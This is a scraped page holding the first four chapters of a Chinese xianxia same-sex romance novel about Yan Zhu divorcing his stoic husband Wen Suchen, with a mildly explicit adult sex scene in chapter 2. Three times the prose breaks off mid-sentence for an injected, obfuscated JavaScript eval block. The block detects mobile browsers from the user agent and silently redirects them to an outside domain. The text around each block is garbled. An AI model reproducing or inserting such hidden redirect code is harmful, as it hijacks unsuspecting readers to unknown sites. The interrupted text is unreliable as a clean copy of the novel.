《和离后怀了仙尊的崽》 1. 第 1 章 明心宗天枢峰。 一群年轻的弟子整齐列在天枢广场上,每人身上都穿着统一的弟子服,蓝蓝白白的,脸上挂着欢欣雀跃的表情,被初春早上的太阳一照,朝气蓬勃。 这些都是前不久刚通过选拔的弟子,今天正式入门,在这听完讲话还要去四处参观。 讲话的人站在最前方,身量颀长,骨架端正,姿态挺拔,说话的声音不大,但能清晰地传进每个人耳朵里,声音带着点和他语气相似的冰凉,像是雪山上吹下来的一缕风。 晏烛坐在不远处的树上,对着那道看不清楚模样的身影在脑海中仔细描摹了一遍男人的五官,一边想着怎么有人能长出这么好看的脸一边打了个大大的哈欠。 昨晚不该去钓鱼的,守了一晚上就钓上来一只破鞋,还不如在屋里睡大觉。 这样今天就不用来了…… 他迷迷糊糊地想着,脑袋也开始一点点,好像随时会从树上翻下来,直到被识海中一声冷冰冰的“晏烛”惊醒才连忙揉着眼抬头—— 就对上了一大群弟子好奇的眼神。 他有些尴尬地挠了挠鼻尖,一个翻身落地,背着手施施然往出声的人走去,直到站在对方面前才抬眼看他。 等走近了,他将男人的模样看得更仔细了一些。 “小师兄。”晏烛开口唤他,清润的声音带着点笑意,“我以为你赶不回来了。” 对面盯着他看了几息,才低声说道:“昨夜回来,你不在。” “我去钓鱼了。”晏烛解释了一句,听见对面“嗯”了一声后便没再说话,绕到他身后去,往其他几位师兄姐的方向过去。 三师兄怀肃容见他走近,便笑着问他:“昨晚钓到什么了?” 晏烛没回答,直接在乾坤戒里翻了翻,翻出昨天的战果往怀肃容怀里一塞,便背着手站好了。 他一站定,有几个弟子便忍不住小声问一旁的人:“他是谁?” “你看他衣服,好像是长老。” “明心宗长老可不少,他是……” “我听说丹峰长老生得很好看。” “丹峰长老是女子,你们什么眼神,那是晏长老。” 众人一时都有些摸不着头脑。 明心宗职位多且细,长老大多一听前缀就知是负责什么,怎么还有只挂了个姓的。 这时有有人多解释了一句:“那是晏烛,晏师叔。” 众人这才了然,看晏烛的眼神便带上了几份揶揄的味道。 明心宗掌门一共四个徒弟,闻肃尘是他的关门弟子,资质极好,短短两百年的时间便超越大师姐,在修真界闯出一片名声,又经多年清修,现在修为说是当世第一也不为过。明心宗掌门百年前外出云游,更是将权柄交到他手中,让他代为管理,虽说他在门中没有挂职,但所有人都知道,他就是板上钉钉的下任掌门了。 这样一个惊才绝艳的人物,唯一的“污点”就是数百年前师门定下的一桩婚事。 他的道侣是掌门的独子,修为低微,骄奢淫逸,除了脸没有任何拿得出手的东西,是仙门有名的漂亮蠢货。 许多人都觉得晏烛配不上他,明里暗里劝过闻肃尘休妻或纳妾,甚至有直接到明心宗掌门跟前贴脸开大问他是不是想让废物儿子扒着闻肃尘吸一辈子血,但这些都被闻肃尘挡了回去。 他说师弟很好,师父定下的婚事也很好。 虽然语气铿锵笃定,但在外人看来不过是维护之语,于是传言传得越发诡谲,甚至有人怀疑闻肃尘是被师父拿捏了把柄才不得不捧着这个师弟。 不过晏烛虽然“名声”在外,却鲜少抛头露面,那些弟子也是第一次见到他,该怎么说呢……传言也非无中生有,至少他的确生得极好。 肤白赛雪,脸小而标致,五官却不拥挤,而是同样的精致立体,下颌线清晰舒展,是很干净清透的长相,却偏生了一双多情又勾人的桃花眼,不笑时眼睛亮晶晶显得有些无辜,看着就是个乖巧清秀的少年郎,笑起来便多了几分灵动秋波,娇俏却不妩媚。 许多弟子对上他那张脸后,心脏都不禁慢了半拍,忍不住嘀咕道:“兴许闻师叔是真心喜欢他呢。” “闻师叔才不是那么肤浅的人!” “他就是运气好,沾了掌门的光,要换了我,我也行。” “的确,我要是有他那个长相,才不会混成这样。” “我先祖也曾飞升过,要不是我爹不争气,今天嫁给闻师叔的说不定就是我了……” 话题越说越偏,却没人出声阻止。 几乎每回新人入门,都会有这种声音冒出来,晏烛听得耳朵都起茧子了,低头把玩腰间的小葫芦,装聋。 没人打断,议论的声音却渐渐息了,因为所有人都感觉到了气氛似乎有些不对,也不敢再吱声,而是看向垂眼站在人群前方的闻肃尘。 他正拿着笔在纸上圈圈画画,最后圈出来一张名单递给站在一旁的师兄怀肃容,也没多说什么,但方才嚼舌根的弟子却莫名感觉到一股威压,总觉得好像有什么不好的事要发生。 而下一刻怀肃容说的话便印证了他们的预感:“明心宗弟子守则第一条,便是尊师重道,你们既然有心思嚼师叔舌根,应该也没什么心思修行。”他说着顿了顿,却也没说要罚,只说,“修真之人耳聪目明,你们刚踏上仙途,还不习惯也是正常,下回再想说这种话,还是要避着点,免得给人留个坏印象。” 那些弟子闻言脸色就变了。 虽然没明说,但怀肃容的意思已经很明显了—— 你们屁话这么多,几位长老都听见了,别说亲传弟子,就是想跟他们请教,他们也会记着今天小师弟的事。 有人立刻后悔,想求情,但怀肃容并没有给他们机会,笑着继续说接下去的事,将所有弟子根据未来修习的方向分好队。 明心宗太大,他们不可能给弟子们将所有地方都介绍一遍,只能这样分队,由几个长老带着他们去几个将来常去的山头转一遍,再之后的修习便是各凭本事了。 明心宗有闻肃尘这个活招牌,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234883|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是所有剑修的首选门派,这些人就占了参加人群的三分之二,由三师兄怀肃容带领。 剩下那三分之一,炼丹炼器的分去一半,由大师姐带领,杂修分去另一半,交给二师兄,最后便只剩了几个还没决定去处的。 这时候晏烛才往前走了两步,开口道:“什么也不修,什么也不会,不想好好学的,就站到我面前,我带你们去灵草园转转。” 于是剩下那几个人立刻往剑修的方向跑了过去。 晏烛见状耸耸肩:“今年还是这么多不识货的弟子。” 怀肃容见状说道:“你也可以来帮我。” “自己的工作自己做,我回去睡觉了。”他说着摆了一下手,随手招来一只白鹤,往它背上一窜,跑得飞快,生怕一会真被留下来帮忙。 白鹤托着他绕过几个山头,最后落在一个焚雪峰上。 那是他的住处。 焚雪峰四处都种着许多奇怪的花花草草,因为不怎么打理,肆意生长得像块荒地,和当中华美的宫殿放在一起有些格格不入。 晏烛也没多看,径直穿过花草回到房间,直接爬上床倒头就睡。 他这一觉睡得很沉,直到听见“当当当”三声沉而响的钟声才被惊醒,朝外看了一眼。 天色已经彻底黑了,那刚刚响的大约就是门禁的钟声,听见这声,弟子们就知道宗门内的传送阵都封锁了,灵兽也归巢不再载人,想再去其它山头就需要御剑或者用自己的灵兽才行。 晏烛起身洗了把脸便往书房去。 屋内只点了几盏灯,闻肃尘不知什么时候回来了,披着一件浅色单衣坐在桌边,正低头看书,烛光在他身上镀了一层暖色,融化了他与生俱来那股冷冰冰的气质,但很快那层暖光被搅动,随着闻肃尘转头时看过来的冷淡眼神一起消失了。 “小师兄。”晏烛唤了一声,加快脚步跑过去,刚靠近,就被他塞了一盘切好的灵果。 晏烛捻了一块塞进嘴里,又递了一块给他,含糊道:“你这次出去有没有受伤?” 闻肃尘摇头。 晏烛又跟他说起殿外的事,说想找几个弟子把那些花草收拾下。 闻肃尘点头。 晏烛已经习惯了两人这样的交流,小师兄是个很沉默的人,所以大多时都是他在开口,若不是对面的人会给些反应,看上去就像他在自言自语似的。 他一边说话一边吃东西,等到盘子里的灵果都吃完了,他才说:“我要沐浴去了。” 闻肃尘看他。 晏烛也在看他。 闻肃尘骨相轮廓优越,眉弓突出,山根笔挺,下颌线干净利落,硬朗不失秀气,黑白分明的狭长凤眼本就让他身上多了几分清冷,少了亲切,削薄的唇更是让他看上去有些薄情冷淡。 晏烛很喜欢他这脸,看了一会便有些耳热,往他的方向靠了靠,声音比方才说话时小了一些,但更软绵:“一起。” 闻肃尘闻言很轻地抿了一下唇,素来冷硬地声音也跟着放软了些许:“想做?” 2. 第 2 章 闻肃尘话说得直白又直接,晏烛却已经习惯了,也没太矫情,只是很轻地点了一下头,问道:“去吗?” 闻肃尘没有回答,直接起身跟上他往汤池的方向走。 说是沐浴,就真的是沐浴,脱衣服时没有暧昧,一起泡在水里时也没有。 晏烛泡在水里,一边捏着浮在水面上的花瓣,目光时不时往闻肃尘隐藏在水下的部分看。 透明的水面映着花瓣的颜色粼粼晃荡,能模糊却又清楚地看见那处似乎没什么动静。 晏烛忍不住撇了一下嘴,转过眼去盯着放在一旁的灯看,八角垂下来的蓝色珠穗拦住了一点光,可惜灯罩是白色的,半点花样也无,就算有明珠作伴,看着也很寡淡。 泡了一会晏烛便披上寝衣跟闻肃尘回了房。 直到两人躺到床上,他才看见闻肃尘的变化。 晏烛看了几眼,便朝他伸出手去。 闻肃尘弯腰和他交换了个吻,手也往下去。 闻肃尘常年用剑,手上有磨出来剑茧,很粗糙,噌过细嫩的皮膚时存在感很强,不痛,却很磨人。 晏烛其实很受不了闻肃尘这一手,他想让闻肃尘直接开始,但闻肃尘每回都坚持让他先一次,无论他怎么说都没用,次数多了他也就不再多话,只是难耐地等这阵折磨过去,今夜也不例外。 等到晏烛不應期的时候,闻肃尘便弯腰和他接吻,晏烛能清楚地闻到闻肃尘身上的味道,冰冰凉的,有点发苦,像新雪覆盖的草药园。 晏烛很熟悉这个味道,但闻肃尘没有点香的习惯,他一时也想不起这是哪来的味道,是工作的时候沾上的吗? 他正走神的时候,一只手忽然搭进他寝衣,晏烛整个人一僵。 他已经缓过来了。 闻肃尘一寸寸描摹着,像是在鑒賞一副精美的画,直至那件柔软的寝衣落地,布料发出细微的声音。 一片从水中带上来的花瓣遗落在了晏烛身上,像冬日里被打落在雪上。 闻肃尘捻起花瓣微微施力碾碎,鮮艷的颜色瞬间晕开,又很快随着汗流落,露出底下誘人的粉。 晏烛整个人陷在被褥里,無力地攀着闻肃尘的手臂,眼神有些空地往上看,却看不见晃动的灯影,只能看见闻肃尘那张好看的脸。 灯不知什么时候已经灭了几盏,只剩下那么一点点光缠绕在他脸上,落在他眼底,像是很细弱的、被冰封住的火,晏烛分不清楚那是不是慾,甚至不等他再仔细看,眼前便落下一道阴影。 闻肃尘又親了他。 直至夜阑人静时,晏烛才裹着被子趴在他怀里,昏昏沉沉地唤他“小师兄”。 闻肃尘揽着他的腰,低声道:“睡吧。” 晏烛身上不大舒坦,有些不安分地在他怀里扭了几下,手背不小心碰到某个地方,却发现那处又安安静静的了。 他顿时有些纳闷,心说闻肃尘这地方还挺听话,该立就立,不该立的时候好像死了。 但这念头也就停了一瞬,很快被困意卷走,消失在了无边的梦境里。 等第二天醒时,闻肃尘已经不在了,床边地上坐了另一个男人,背靠着床,正在看书。 晏烛愣了一下,旋即挪着身子凑了个脑袋过去,目光落在他翻动的书页上,一眼就看见了自己和闻肃尘的名字,顿时无语:“祁然音,你又在哪找来的话本?” 祁然音手上动作一顿,转头朝晏烛露出一个笑,一双狐狸眼弯弯的,颇为勾人,连声音也是魅丝丝的:“人家昨晚在街上走,正想你呢,就看见你的名字,立刻买回来了。” 晏烛从被子里伸出手拿过那本书,翻开封面,就见上头写着《高冷仙尊和离后把我宠上天》。 “哪里写我名字了?”晏烛道。 “和离不就是说你。”祁然音说着伸出手,在晏烛手臂上很轻地点了点,“昨晚很激烈呀。” 晏烛顺着他的手看过去,目光落在自己皮肤上被掐出来的几个印子,想起小师兄昨晚箍着他手臂的样子,耳朵顿时有些发烫,连忙将手缩回被子里,说:“我要换衣服!” 祁然音闻言翻了个白眼:“仙尊都不怕我占你便宜,你怕什么?”嘴上这么说着,他还是起身坐到梳妆台前去,在妆奁里头看了看,“他又给你买新东西啦。” “不知道。”晏烛从床上起来,一边穿衣服一边解释,“先前有个小宗门出事他处理去了,前天晚上才回来,也没说什么。” 祁然音“嗯”了一声,在里头挑出一支簪子出来晃了晃:“这不适合你,送我吧?” 晏烛闻言循着他目光看去,就见祁然音手里捏着的是一支用七色石头嵌成大花的簪子,俗得辣眼,是他这辈子都不可能戴的东西,但他还是拒绝:“不给。” “跟你换也不给呀?”祁然音说着将簪子放回去,“仙尊也是,什么都好,就是这挑东西的眼光实在是……我都怀疑他是不是把人家店里滞销的都给你扫回来了。” 晏烛闻言表情一僵,沉默几息后,叹了口气:“你总得容许他有缺点。” “那他缺点还是蛮多的。”祁然音一边说一边从乾坤戒里往外掏首饰,将晏烛妆奁里那些辣眼睛的首饰盖住,“你真想跟他和离?” “嗯……”晏烛整理好领子,闷声道,“当年要不是我爹娘,他也不会娶我。” “那也是他答应了的,你们这些年不相处得很好。”祁然音道,“他虽然不会那些花花手段,但洁身自好,对你也好,这不就挺好的。” 晏烛走到他身后,盯着镜子里的人,问道:“那如果要你跟这样的人成亲呢?” “那不要。”祁然音想也没想便答了,“我会闷死的,还是现在好,喜欢就谈,不喜欢了就换。” 晏烛挑眉,没说话了。 祁然音无奈,拉着他在身旁坐下,劝道:“你是你,我是我,能一样么?再说了,我这功法也专一不了,你不同,有仙尊给你当炉鼎,犯不着去外头找男人。” “什么炉鼎,就是双修的功法而已。”晏烛撇撇嘴,“但把这事当练功,很闷的。” 祁然音瞥他:“你两个月前还和我说他厉害呢。” “有吗?没有吧。”晏烛道,“我分明是和你说他无趣!” 只是这两件事不冲突罢了,毕竟小师兄是真的很有资本,虽无趣,但生猛。 祁然音笑眯眯地转过头:“你想和他玩点花的,我也可以教你,何必离。” “教了也没用。”晏烛嘟囔道,“你都不知道他多无趣,来来回回就会那两个姿势,还得我提了才换,以前我不懂,觉得挺好的,但我现在已经不好骗了,你也说过的,挑男人不能只图他对你好。” “是,我说还要图他修为图他地位图他资源。”祁然音道,“降雪仙尊修为高深,是人人敬仰的剑修第一人,这么多年大小秘境来来去去闯了那么多,攒下的资源更是数不胜数,离了你肯定找不着更好的。” 晏烛撇着嘴没有说话。 祁然音又劝他:“就算真找着了,你也找不到这么专一的,那些大能哪个不风流?那么多人眼馋你这位子,除了图他的人,不也图他这点心,你要真和他离了,立刻就有别人来占你这位子的。” 晏烛闻言一愣,忽的不说话了。 祁然音和他认识多年,看他这反应就知道这里头还有事,问道:“他变心了?” 晏烛摇头,垂着眼皮,声音有些闷:“没变心呢,我先前还想过,或许他是修无情道的。” 祁然音无语地瞥他:“这天下哪来那么多无情道,肯定是他做了什么让你不开心了。” 晏烛还是摇头:“也可能是七年之痒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234884|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 祁然音实在忍不住翻了个白眼:“七年?七百年吧?” 晏烛抿起嘴,本不想在这时候和他说这段姻缘的不好,但忍了又忍,实在没忍住,还是跟他吐了点苦水。 他和闻肃尘成婚这么久,两人的日子过得真的很寡淡,闻肃尘这人无趣得很,成天不是处理公事就是练剑研究功法,在床上交公粮都交得毫无趣味。 偶尔晏烛兴起了喊人陪陪自己,闻肃尘就跟人形钱袋似的,话也不说,只一味地掏钱。 还记得有一年上元节,他约了闻肃尘去城镇里头看花灯,他当时想,街上都是热恋的男男女女,闻肃尘就算是块木头,照着人家学,总也能学个三两分像吧?后来他发现学了也没用。 去猜灯谜,旁边的小情人是女生拿来谜面男生猜,猜对了女生娇娇地夸一句你好厉害,猜错了女生也要甜甜地嗔一句这都能错你笨死了,十道灯谜黏黏糊糊只猜对一半,得了一只兔子花灯手牵手提着逛街去了。 闻肃尘呢,自己拿了谜面自己猜,猜的速度快得老板都来不及补,还道道能猜对,赢到最后老板脸色都是白的,往箱子里装奖品时手都在抖,而晏烛就站在一边看,像个路过的局外人,只在接奖品的时候才有了那么一点点参与感。 后来又去放天灯,晏烛看别人都买一盏,把愿望写在一起,比如当时和他一起买的小情人就是这样,一人写“白头偕老”,一人写“比翼连枝”,天灯放上去的时候感觉都在冒粉色泡泡。 晏烛学着他们那样在灯上写“白首不离”,结果闻肃尘大手一挥,“海晏河清”四个大字就瞬间把他的格局秒到地里,看得晏烛当场心梗。 类似的事不胜枚举,晏烛说三天三夜都说不完。 以前他总觉得这些事说出来有点抹黑闻肃尘的意思,也不想跟个怨夫似的和祁然音抱怨,不然显得他这婚姻过得很苦似的,但今天实在忍不住了。 祁然音听完这些也沉默了许久,旋即感叹了一句:“你居然能忍他几百年。” 晏烛强调道:“我过得不苦,就是有时候觉得小师兄不像我丈夫,像我兄长。” “少说这种禁忌的话,你们俩的关系没有这么刺激。”祁然音说着在乾坤戒里翻了翻,翻出一叠信纸来拍到他面前,“离,现在就离,你先写着,我去给你弄点灵果吃。” “我有辟谷丹。”晏烛道。 “那东西有什么好吃的,别和仙尊学坏了。”祁然音说着便起身出去了。 晏烛对着信纸又开始发愁,他从来没写过和离书,不知道要怎么写,所以去坊间请人写过,但人家和离,都是怨偶分开,他跟闻肃尘关系其实挺好的,照抄不了,晏烛只好把前头的去了,只写上祝愿,写到“再觅良人”几个字时手一顿,犹豫了一下,跳过去了。 等祁然音端着灵果过来的时候,晏烛已经写完,将纸晾在一旁了。 祁然音将果盘的放下,他在这方面讲究得很,不止把灵果切开了,还摆了个精致的盘,说:“在你院子里摘了些,分不清是什么。” 晏烛扫了一眼,也没能全部分辨出来,便不管了,捻起一块放进嘴里,说:“无所谓,院子里的都能吃。”他说着,手指在和离书上点了点,“你看看可以不。” 祁然音也没写过和离书,拿过来扫了几眼便点头:“差不多就行了,去找他签个字,还要商量家产怎么分,还有你们那个道侣契……” 他一边想一边补充,就怕晏烛吃亏,结果话还没说完,晏烛就叼着一块灵果匆匆跑了,看方向就知道是找闻肃尘去了。 闻肃尘这会正在明心殿处理公事,刚准备解决完手头的,准备叫下一个弟子进来,就见一道红色的身影火一样蹿了进来,不等他开口询问,就听“啪”一声,一张纸拍在了桌上,紧接着晏烛的声音落下来:“签了!” 3. 第 3 章 他动作太快,快得闻肃尘都来不及看清楚,低头盯了几息。 “和离……”闻肃尘将那两个字念了出来,声音很低,语速也慢,像是在咀嚼,以至于有那么一瞬间晏烛怀疑他根本没明白这两个字的意思,但下一瞬闻肃尘便抬眼看向他,“你想和离?” 语气平淡,淡得好像是在跟他讨论一件即将要处理的公事。 晏烛心脏瞬间就揪了一下,他很轻地点了点头,双唇微微抿起,原先的好颜色顿时淡了几分,让他脸色看上去有些不好。 “想。”晏烛声音小了一点,“可以吗?” 闻肃尘没有回答,但行动证明了一切。 他直接用手上的笔在和离书上签了字,速度快得晏烛都没看清楚,那张纸就被叠了叠,放进一个空信封里,封好后递给晏烛:“ 好了,自己去玩吧。” 动作看上去和他平日处理公文相差无几。 或许在他眼里,这段姻缘和工作也没什么区别。 晏烛鼻子忽然酸了一下,但他没哭,连眼圈都没有红,而是语气轻松道:“我人就在这,干嘛套个信封。” “容易坏。”闻肃尘手指在信封上抚过,纸上隐隐有阵法纹路透出,是可以保护信函不受损的。 晏烛没想到他这么重视这封和离书,心里越发不痛快,伸手抢过来塞进袖中不让他碰,说:“我要跟然音出去玩。” 要换作以前,闻肃尘肯定会多问几句,再吩咐几个人跟着他,但许是和离了,他也没了那个责任,便只是点点头:“库中的东西,你需要什么都可以拿走。” 晏烛闻言一愣,几息后才明白过来,闻肃尘是在和他分家产。 就这么想快点和他撇清关系? 晏烛顿时怀疑闻肃尘早就想和自己分开了,只是碍于他爹和外界的传言才一直没提,但要他说出是从什么时候开始的,他却又实在想不出一点可疑的痕迹。 成亲数百年,两人的关系被床事简单粗暴地分割成了两部分,不过闻肃尘对他态度倒是始终如一。 “小师兄就不怕我把东西都拿走吗?”晏烛问道。 闻肃尘摇头:“我再攒。” 晏烛便不知道怎么回了,对闻肃尘来说,天材地宝的确不难得,许多人打破头争抢的东西在他仓库里可能都没资格摆上架子。 但他这毫无留恋的态度,还是让晏烛有点不爽。 明明是他提的和离,怎么搞得好像被甩掉的是他呢?! “那道侣契呢?”晏烛抱起手,面色不虞地看着他,“这也要断了吗?” 他以为闻肃尘又会说一句随你,但闻肃尘没有,而是说:“留着吧。” 晏烛脸色稍霁,语气也软了些许:“可我会拖着你。” “无妨。”闻肃尘道,“我答应过师娘。” 晏烛原本软下的态度瞬间又被点燃了。 果然,对闻肃尘来说他就是责任!是师父师娘交给他的责任!是成亲后一个丈夫应该承担的责任! “不要!”晏烛道,“这样不清不楚的怎么算和离!” 闻肃尘看他:“听话。” 他这回语气更坚定了一些,晏烛知道,这就是不会松口的意思了。 “随你,反正吃亏的不是我!”晏烛丢下这句话便气呼呼走了。 闻肃尘盯着他的离开的背影,直到那抹颜色彻底消失在视野中才重新低下头,传音吩咐守在门口的弟子:“下一个。” * 晏烛这趟过去,连一刻钟都没用到,看见他回来得这么快,祁然音都愣了:“他不同意?” “没有。”晏烛气呼呼地把袖中的信封往桌上一甩,随手拿了个果子就啃,“他连犹豫都没有就签了!” 祁然音不解:“那不是好事吗?你知道多少夫妻和离……等等,他签这么爽快,不会是一分家产不愿给你吧?你这性子,可别他激两句就净身出户了。” 说起这事,晏烛更郁闷了:“没有,他说我想拿什么都行。” 祁然音惊了:“还有这种好事?” 晏烛不开心道:“好什么呀?我自己又不是没宝贝!”他说着往祁然音手里塞了个乾坤戒,“帮我收拾衣服,我去摘点灵果就跟你走,今天就走!” 他说完立刻就跑了,一点也不想听祁然音在耳边絮絮叨叨说闻肃尘多有钱! 焚雪峰坐落于明心宗最北边,前边还用吊桥连着一大一小两座山,分别是香阵峰跟葳蕤峰,都是宗门灵田所在,前者种的是低级灵草,后者种的则是一些比较少见的灵植。 晏烛天赋不好,修行一道无论学什么都是事倍功半,现在的境界也是靠双修跟丹药供起来的,理论上来说他这样的情况其实是当不上长老的,不过闻肃尘弄了这两座山头来,开垦灵田给他种,门中弟子月例中的灵草都从他这出的,因而也没太多人对他这个长老有怨言。 他踩着传送阵前往葳蕤峰,不过眨眼的功夫,眼前的的景色就换了个样子,同样是一片花花绿绿,不同的是葳蕤峰多了一张正在等他的血盆大口,见他出现,立刻逞着一口利齿咬过来,但还没咬着,他就抬手给了嘴的主人一巴掌。 那张嘴顿时紧闭,缩了回去。 那是一株橘红色的食人花,一人高,不动时就像一朵未开的花苞,攻击人的时候会整朵花打开,一口能咬掉人的脑袋。 这是他特地种在传送阵旁的,先前还没长这么高的时候只能吓唬吓唬人,但现在长大了,能咬到人了,就得移走。 想了想,他招来守山的弟子,吩咐道:“把它挖到大王花那边去了。” 那两个弟子其实挺怕这花的,听见晏烛的吩咐都很想哭,但知道哭也没用,只能硬着头皮做。 葳蕤峰比较危险的植物上都有禁制,不会要人命,虽然也有受伤的风险,但相对的酬劳也很高,多的是人想来做这工作。 晏烛见他们把花挖走,便解下腰间的葫芦坠子往上一抛,那葫芦在半空中转了两圈后“砰”一声化成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234885|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人。 那人也就巴掌大小,短手短腿的,身上穿着明心宗的弟子服,圆乎乎的脸上只有简约成OvO的脸,声音也是细细软软的:“小烛小烛。” 这是晏烛灵器中的器灵,叫梨花,虽然取了个女孩似的名字,但它其实没有性别。 晏烛指了指它身后的种着各种花草的灵田:“我们接下来要出远门,你给他们浇够水,别回来枯死了。” 梨花“噢”了一声,小短手往上一举,手中便幻化出一个比它身体要大上几倍的白色葫芦,上头有绿色的花纹,看不出是什么材质,但精致又好看。 它举着葫芦便飘飘然往花草丛中去了。 晏烛立刻跟上去,开始摘一些可能用得上的灵植扔进乾坤戒中。 他动作快,等摘完的时候梨花还在忙活,便转身去了另一条道,准备看看食人花安置得怎么样,结果刚走近,就听见那边传来两声惨叫。 晏烛心下一惊,连忙跑过去,就见一株几人高的食人花正朝着那两个弟子“呸呸呸”狂吐口水。 晏烛顿时急了,一边从乾坤戒里掏东西一边喊道:“你再不住手我就……” 他话音未落,就见一道小身影“刷”地往那大王花的方向扑过去,在它即将吐出下一口口水的时候精准地给了它一击,让那朵毫无素质的花闭上嘴后一个翻身落到了晏烛脚边。 那是一只通体近雪白的猫,只有尾巴是黑色的,金色的眼睛像是两颗漂亮的宝石,此时正警惕地盯着眼前的大王花。 大王花也没和他客气,枝干一弯,大张着嘴就朝白猫咬过去,速度快得能拖出残影,可惜白猫比它还敏捷,身子一扭就躲开了,留它一口尖牙在空气中撞击出让人毛骨悚然的声音。 晏烛立刻掏出一根擀面杖往大王花脑袋上敲。 他修为虽然不怎么样,但境界在这,有的是力气,这一下下去直接把大王花敲了个七荤八素,耷在地上半天缓不过来。 那两个弟子顿时目瞪口呆,这又是什么厉害的神器? 晏烛也没解释,只吩咐道:“趁现在把花种好,然后你们就走吧。”吩咐完他才朝白猫招招手,“阿福,过来。” 白猫立刻跑到他脚边,用爪子扒拉他的衣摆。 “我还以为你又出去玩了呢。”晏烛弯下腰摸了摸他的脑袋,“正好,我有事要和你说。” 阿福闻言立刻用脑袋拱了拱他的手心,嘴里发出一声长长的“喵”。 晏烛顿时弯起眼,抱起它挠了挠下巴,轻声道:“我跟小师兄和离了。” 阿福抬头看他。 晏烛又说道:“你是要跟着小师兄,还是跟着我?” 阿福一听,瞳孔都缩成一条竖线了,它一个翻身,从晏烛怀里跃下,在落地的瞬间化成了一个少年,恭恭敬敬给晏烛行了一礼:“自然是跟着师父。” 他看上去也就十二三岁的模样,眉若刀裁,山根笔挺,凤眼薄唇,竟是长了一张和闻肃尘有七八分相似的脸。 4. 第 4 章 阿福是晏烛捡回来的。 刚带回来时候它也就巴掌大点,奄奄一息的,水奶不进,他照顾了两天不见一点起色,只能去找闻肃尘求助。闻肃尘把小猫带走了,说是带去灵气充沛的地方用灵力吊着命,又喂了丹药,难不难晏烛不清楚,反正等五天后他再看见小猫时候,小猫虽然还是虚弱,但已经能勉强喝口奶了。 他当时觉得这猫福大命大,所以起了个名字叫阿福。 后来小猫在焚雪峰一点点长大,成了一只自由的大猫,成天不着家,偶尔回来一次也是吃点东西就跑,直到有一天它不知道在哪混到个化形的机缘。 据它自己说,它是照着熟悉的人类模样化的,按理说他跟晏烛相处最久,那化形就该像晏烛,可偏偏就化成了闻肃尘的模样。考虑到它这条小命是闻肃尘救的,那对闻肃尘印象深刻一点、所以最后化成他的样子好像也说得过去。 阿福虽然叫晏烛一声师父,但他在阿福的成长过程中主要担任的其实陪玩以及提供各种零食,修炼的事都是闻肃尘在教,严格来闻肃尘还更像他师父一点。 晏烛虽然喜欢他,但脑子还算清醒,解释道:“你跟着我,可学不到东西的,我对剑法一窍不通,会的心法也不适合你。” 阿福却依旧坚持:“我跟着师父。”他说着顿了顿,见晏烛还在犹豫,便又说道,“就算和离了,我去找师伯,他也会教我。” 晏烛闻言一愣,旋即笑了。 的确,小师兄不是那么小气的人。 于是他便不说了,伸手摸摸阿福的头:“我准备跟然音一起去丰凌洲。” 阿福立刻凑上来拉住晏烛的衣袖,一脸乖巧道:“我和师父一起去。” 晏烛看着这张和闻肃尘高度相似的脸,抵抗力直线下降,脑子都还没想清楚,嘴就先答应了:“好。” 好完又忍不住反省,自己这样透过徒弟看闻肃尘的替身行为是不是不太好,但对着那张脸他又实在按不住这种念头。 毕竟闻肃尘可没有过这么乖巧的时候。 他认识闻肃尘的时候,闻肃尘差不多就是十二三岁,不过那时候的闻肃尘比现在还冷,也凶,像一只受惊的刺猬,无差别地攻击每一个靠近他的人。 他跟娘打听过他的情况,娘说他以前过得并不好。 那时候他对“不好”其实没有太多概念,以为就是饭不好吃衣服不漂亮没有人陪自己睡觉,很多年以后他才从爹那听说了具体的情况——有邪修为了练功,血祭了一座城的人,闻肃尘是唯一的幸存者。 至于更详细的,比如闻肃尘在那之前是什么情况,他为什么能活下来,怎么活下来的,他爹一概没说。 但这不妨碍他觉得闻肃尘可怜,三天两头往他那送好吃的好玩的,尽管那时候他已经在修真界崭露头角,早不是当年那只小刺猬了。 “师父?”见晏烛出神,阿福叫了他一声,漂亮的眼睛好奇地看着他。 晏烛顿时弯起眼,夹着声音问他:“怎么了?” 阿福问道:“我们什么时候走?” “你怎么比我还着急。”晏烛笑了笑,“等梨花回来,我们去跟你师奶奶打声招呼就走。” 话音刚落,梨花就飘飘然回来了,手里还抱着一个粉色的果子。 晏烛将葫芦重新变出来,倒水把果子洗完后一掰,给梨花和阿福一人分了一半便带着他们传送去了另一座山。 这里是明心宗最边角的一个山头,野草从生,最高的甚至能把人完全挡住。除此之外就只剩林立的墓碑,一块块冷冰冰的石头让本就荒凉的地方多了几分阴森的味道。 